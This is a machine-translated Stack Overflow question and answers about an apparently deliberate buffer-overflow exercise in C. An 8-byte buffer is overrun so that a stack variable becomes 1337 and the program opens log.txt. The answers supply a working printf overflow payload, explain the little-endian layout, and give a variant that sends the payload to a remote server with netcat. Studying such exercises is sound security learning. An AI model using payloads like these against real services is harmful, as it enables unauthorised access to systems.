2017-01-12 23 views
-3

У меня есть следующая функция. Исполняемый файл работает нормально. В командной строке, после того, как программа запущена, я вхожу \x0037337331, значение B устанавливается как B: 0x31333337Оператор C: IF не срабатывает, когда ожидается

Любые советы о том, как я бы вызвать, чтобы открыть log.txt

int play() { 
    int a; 
    int b; 
    char buffer[010]; 
    a = 0x41414141; 
    b = 0x42424242; 

    if (write(STDOUT_FILENO, "For a moment, nothing happened. Then, after a second or so, nothing continued to happen.\n> ", 91) < 0) { 
     perror("write"); 
    } 

    if (read(STDIN_FILENO, &buffer, 0xC) < 0) { 
     perror("read"); 
    } 

    if (a == 31337) { 
     system(buffer); 
    } 
    else if (b == 1337) { 
     readfile("log.txt"); 
    } 
    else { 
     printf("B: 0x%08x\n", b); 
    } 
} 
+6

'char buffer [010];' - достаточно 8 символов? –

+1

намек на то, что сказал @EdHeal, проверьте систему номеров. –

+1

I *** Предположим, что целью упражнения является создание переполнения буфера? Вы были участником * долгого времени и задавали много вопросов, теперь я думал, что вы должны знать [как задавать хорошие вопросы] (http://stackoverflow.com/help/how-to-ask)? Измените свой вопрос, чтобы уточнить цель и что программа должна делать с введенными вами данными. –

ответ

3

с 1337 в десятичном формате: 539 в шестнадцатеричном формате, поэтому просто выполните следующую команду в bash.

$ printf 'xxxxxxxx\x39\x05\x00\x00' | ./a.out 

buffer имеет размер 010, который 8 байт, поэтому он будет наполнен xxxxxxxx, а с b выделяется рядом с buffer в стеке, чтение 0xC байт в buffer будет течь в b и наполнит с 0x39050000. Так как большая часть архитектуры немного ориентирована, значение b будет 0x00000539, которое равно 1337 в десятичной форме.

Возможно, как локальная переменная выделяется в стеке, зависит от компилятора, архитектуры или ОС, но это похоже на поведение gcc-скомпилированного двоичного кода на ОС Linux x86 с 10 лет назад.

+0

Предполагая, конечно, систему с маленькими концами. :) –

+0

Это предполагает, что компилятор сохраняет переменные в определенном порядке –

5

У вас есть две ошибки:

Line:

char buffer[010]; // This is octal i.e. 8! 

должен быть

char buffer[0xc]; 

Также

read(STDIN_FILENO, &buffer, 0xC) 

должен быть

read(STDIN_FILENO, buffer, 0xC) 

Как вам нужен указатель на начало буфера.

EDIT

Кроме того, необходимо добавить нулевой символ в буфер перед system.

+2

Я думаю, что цель состоит в том, чтобы создать переполнение буфера, поэтому размер буфера и то, что OP читает, вероятно, так и должно быть. –

+0

Как @Someprogrammerdude говорит - код «как есть» – pee2pee

1

Добавление ответа, данного @ymonad

Как это должно быть сделано удаленно, он должен netcat в порт 1984. Так что это должно быть обязательно ответ.

printf 'xxxxxxxx\x39\x05\x00\x00' | netcat serverip 1984 
Смежные вопросы